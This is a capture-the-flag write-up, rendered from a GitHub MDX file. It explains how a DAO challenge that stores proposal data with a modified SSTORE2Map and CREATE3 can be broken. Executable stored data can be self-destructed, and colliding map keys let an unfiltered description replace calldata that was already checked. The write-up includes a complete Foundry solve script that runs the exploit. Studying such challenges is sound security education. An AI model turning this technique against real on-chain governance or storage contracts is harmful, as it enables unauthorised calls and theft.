Skip to content

Latest commit

 

History

History
180 lines (146 loc) · 6.62 KB

1.mdx

File metadata and controls

180 lines (146 loc) · 6.62 KB
author contributors adapted_from
0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149
0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149

Overview

This challenge is meant to test a competitors understanding of SSTORE2Map. Specifically, why is the stored data prefixed with a 00 byte? Why is it critical that the stored data cannot be executed?

To make the challenge more interesting, the logic of the CREATE3 library was also modified to selfdestruct the proxy contract, allowing both the proxy contract and (potentially) the data contract to be redeployed.

In this challenge, the map was used to store DAO proposal calldata payloads, and were filtered before storing. The DAO also stored proposal descriptions (string) in this manner, but in a way that enabled collisions on the map key. As the descriptions were unfiltered, a collision between one proposal's description and another's calldata could cause the calldata to be modified after verification, allowing filtered methods to be called by the DAO.

Solving the puzzle

The challenger needs to get the DAO to call two methods: forgeThrone and addUsurper. The forgeThrone call is easy to execute by simply using the DAO as intended. To craft a call to addUsurper, you must perform the following steps:

  1. Pick a arbitrary, unused proposal ID, say x.
  2. Construct a proposal with id = keccak256(x, x) with payload data beginning with the forgeThrone selector (0x6d2cd781) that can be self-destructed. To do this, notice that the first byte (6d) is a PUSH14 opcode, meaning that when executed, the first 15 bytes of the proposal will execute as a valid instruction. Simply placing a selfdestruct (0xff) after this instruction will suffice. Execute the payload contract created above, self-destructing it.
  3. Execute the payload contract created above, self-destructing it.
  4. Create a new proposal with id = x with any payload data, but with description equal to the new payload data: abi.encodeWithSelector(Throne.addUsurper.selector, solver). This will recreate the payload contract for proposal keccak(x, x), but with no validation checks.
  5. Vote for and execute proposal ID keccak256(x, x).

Solve script

Check out our solve script below for more details.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Throne} from "../src/Throne.sol";
import {DAO} from "../src/DAO.sol";

contract Voter {
    constructor(
        DAO dao,
        uint256 id
    ) {
        dao.vote(id);
        assembly {
            selfdestruct(0)
        }
    }
}

bytes32 constant SLOT_KEY_PREFIX = 0x06fccbac10f612a9037c3e903b4f4bd03ffbc103781cbe821d25b33299e50efb;
bytes32 constant KECCAK256_PROXY_CHILD_BYTECODE = 0x648b59bcbb41c37892d3b820522dc8b8c275316bb020f043a9068f607abeb810;

function addressOf(address addr, bytes32 _salt) pure returns (address) {
    address proxy = address(
      uint160(
        uint256(
          keccak256(
            abi.encodePacked(
              hex'ff',
              addr,
              _salt,
              KECCAK256_PROXY_CHILD_BYTECODE
            )
          )
        )
      )
    );

    address c = address(
        uint160(
            uint256(
            keccak256(
                abi.encodePacked(
                hex"d6_94",
                proxy,
                hex"01"
                )
            )
            )
        )
    );
    return c;
}

function internalKey(bytes32 _key) pure returns (bytes32) {
    // Mutate the key so it doesn't collide
    // if the contract is also using CREATE3 for other things
    return keccak256(abi.encode(SLOT_KEY_PREFIX, _key));
}

contract Solver {
    uint256 constant REQUIRED_VOTES = 3;

    Throne immutable throne;
    DAO immutable dao;
    address immutable solver;
    uint256 immutable solution;

    constructor(Throne _throne, address _solver) {
        throne = _throne;
        dao = throne.dao();
        solver = _solver;
        solution = uint256(keccak256(abi.encode(solver)));
    }

    function createIds(uint256 seed, uint256 count) internal pure returns (uint256[] memory result) {
        result = new uint256[](count);
        for (uint256 i = 0; i < count; i++) {
            seed = uint256(keccak256(abi.encode(seed, seed)));
            result[i] = seed;
        }
    }

    function doVotes(uint256 id) internal {
        for (uint256 i = 0; i < REQUIRED_VOTES-1; i++) {
            new Voter(dao, id);
        }
    }

    function stage1() public {
        uint256[] memory ids = createIds(uint256(keccak256("ChainLight")), 4);

        dao.createProposal(
            ids[3],
            address(throne),
            abi.encodeWithSelector(Throne.forgeThrone.selector, solution),
            ""
        );
        doVotes(ids[3]);
        dao.execute(ids[3]);

        // create data which can be selfdestructed
        bytes memory data = hex"6d2cd7810000000000000000000000ff";
        dao.createProposal(ids[1], address(throne), data, "");

        address dataAddress = addressOf(address(dao), internalKey(bytes32(ids[1])));

        // selfdestruct the data
        (bool success, ) = address(dataAddress).call("");
        require(success);
    }

    function stage2() public {
        uint256[] memory ids = createIds(uint256(keccak256("ChainLight")), 4);

        bytes memory desc = abi.encodeWithSelector(Throne.addUsurper.selector, solver);
        bytes memory data = abi.encodeWithSelector(Throne.forgeThrone.selector);
        dao.createProposal(ids[0], address(throne), data, string(desc));

        doVotes(ids[1]);
        dao.execute(ids[1]);
    }
}

contract Solve is Test {
    Throne throne;
    Solver solver;

    function setUp() public {
        throne = Throne(0x6d353b5FB19d63791FAf8a2e4B5Fa8D32519a8A3);//new Throne();
        stage1();
    }

    function stage1() public {
        address me = 0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149;
        solver = new Solver(throne, me);
        solver.stage1();
    }

    function stage2() public {
        address me = 0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149;
        solver.stage2();
        require(throne.verify(throne.generate(me), uint256(keccak256(abi.encode(me)))), "not solved");
    }

    function test() public {
        stage2();
    }
}